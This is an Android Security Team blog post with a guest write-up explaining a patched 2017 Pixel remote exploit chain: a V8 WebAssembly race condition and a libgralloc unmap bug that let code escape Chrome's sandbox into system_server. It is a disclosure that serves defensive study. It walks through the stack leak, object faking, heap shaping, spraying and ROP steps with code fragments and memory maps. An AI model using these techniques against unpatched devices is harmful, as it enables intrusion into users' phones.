This post was originally published at Android Security Ecosystem Investments Pay Dividends for Pixel
Posted by the Android Security Team
In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program’s expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.
All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.
The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you’d like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.
The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.
Technical details of a Pixel remote exploit chain
The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.
This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android’s libgralloc module that is used to escape from Chrome’s sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys).
The RCE bug (CVE-2017-5116)
i::wasm::ModuleWireBytes GetFirstArgumentAsBytes( const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) ...... else if (source->IsTypedArray()) //--->source should be checked if it's backed by a SharedArrayBuffer // A TypedArray was passed. Local<TypedArray> array = Local<TypedArray>::Cast(source); Local<ArrayBuffer> buffer = array->Buffer(); ArrayBuffer::Contents contents = buffer->GetContents(); start = reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset(); length = array->ByteLength(); ...... return i::wasm::ModuleWireBytes(start, start + length); }
A simple PoC is as follows:
The text format of the WebAssembly code is as follows:
00002b func: 00002d: 41 2a | i32.const 42 00002f: 0b | end 000030 func: 000032: 10 00 | call 0 000034: 41 01 | i32.const 1 000036: 6a | i32.add 000037: 0b | end
First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread’s bound check, the instruction ” call 0″ can be modified by the worker thread to “call 128” and then be parsed and compiled by the main thread, so an OOB access occurs.
Because the “call 0” Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If “call 0” is modified to “call $leak”, registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.
(func $leak(param i32 i32 i32 i32 i32 i32)(result i32) i32.const 0 get_local 0 i32.store i32.const 4 get_local 1 i32.store i32.const 8 get_local 2 i32.store i32.const 12 get_local 3 i32.store i32.const 16 get_local 4 i32.store i32.const 20 get_local 5 i32.store i32.const 0 ))
/*Text format of funcx*/ (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32) get_local 5 get_local 4 i32.add) /*Disassembly code of funcx*/ --- Code --- kind = WASM_FUNCTION name = wasm#1 compiler = turbofan Instructions (size = 20) 0x58f87600 0 8b442404 mov eax,[esp+0x4] 0x58f87604 4 03c6 add eax,esi 0x58f87606 6 c20400 ret 0x4 0x58f87609 9 0f1f00 nop Safepoints (size = 8) RelocInfo (size = 0) --- End code ---
/*Disassembly code of JS_TO_WASM function */ --- Code --- kind = JS_TO_WASM_FUNCTION name = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20 0 55 push ebp 0x4be08f21 1 89e5 mov ebp,esp 0x4be08f23 3 56 push esi 0x4be08f24 4 57 push edi 0x4be08f25 5 83ec08 sub esp,0x8 0x4be08f28 8 8b4508 mov eax,[ebp+0x8] 0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) ;; code: BUILTIN 0x4be08f30 10 a801 test al,0x1 0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42>
The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:
/* ArrayBuffer layouts 40 Bytes*/ Map Properties Elements ByteLength BackingStore AllocationBase AllocationLength Fields internal internal /* Map layouts 44 Bytes*/ static kMapOffset = 0, static kInstanceSizesOffset = 4, static kInstanceAttributesOffset = 8, static kBitField3Offset = 12, static kPrototypeOffset = 16, static kConstructorOrBackPointerOffset = 20, static kTransitionsOrPrototypeInfoOffset = 24, static kDescriptorsOffset = 28, static kLayoutDescriptorOffset = 1, static kCodeCacheOffset = 32, static kDependentCodeOffset = 36, static kWeakCellCacheOffset = 40, static kPointerFieldsBeginOffset = 16, static kPointerFieldsEndOffset = 44, static kInstanceSizeOffset = 4, static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5, static kUnusedOffset = 6, static kVisitorIdOffset = 7, static kInstanceTypeOffset = 8, //one byte static kBitFieldOffset = 9, static kInstanceTypeAndBitFieldOffset = 8, static kBitField2Offset = 10, static kUnusedPropertyFieldsOffset = 11
Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.
The EoP Bug (CVE-2017-14904)
static int gralloc_map(gralloc_module_t const* module, buffer_handle_t handle) …… private_handle_t* hnd = (private_handle_t*)handle; …… if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) && !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) size = hnd->size; err = memalloc->map_buffer(&mappedAddress, size, hnd->offset, hnd->fd); //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process. if(err hnd->base = uint64_t(mappedAddress) + hnd->offset; //---> save mappedAddress+offset to hnd->base } else err = -EACCES; …… return err; }
gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome’s sandboxed process, so it’s possible to unmap any pages in system_server from Chrome’s sandboxed render process.
static int gralloc_unmap(gralloc_module_t const* module, buffer_handle_t handle) …… if(hnd->base) err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset); //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched. if (err) ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base, strerror(errno)); return -errno; hnd->base = 0; } …… return 0; } int IonAlloc::unmap_buffer(void *base, unsigned int size, unsigned int /*offset*/) //---> look, offset is not used by unmap_buffer int err = 0; if(munmap(base, size)) err = -errno; ALOGE("ion: Failed to unmap memory at %p : %s", base, strerror(errno)); return err; }
Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.
52neverallow isolated_app 53 service_manager_type 54 -activity_service 55 -display_service 56 -webviewupdate_service 57:service_manager find;
To trigger the aforementioned Use-After-Unmap bug from Chrome’s sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.
This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome’s Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app.
To exploit this EoP bug:
1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:
7f54600000-7f54800000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f58000000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) ......
2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] //--->There is a 2MB memory gap 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
3. Fill the unmapped space with an ashmem memory:
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->The gap is filled with the ashmem memory 360alpha1001 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
4. Spray the heap and the heap data will be written to the ashmem memory:
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome’s render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module’s base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven’t been used. It’s impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.
typedef struct android_native_base_t /* a magic value defined by the actual EGL native type */ int magic; /* the sizeof() of the actual EGL native type */ int version; void* reserved; /* reference-counting interface */ void (*incRef)(struct android_native_base_t* base); void (*decRef)(struct android_native_base_t* base); android_native_base_t;
6.Trigger a GC to execute ROP
When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .
The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.
The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.
This post was originally published at Android Security Ecosystem Investments Pay Dividends for Pixel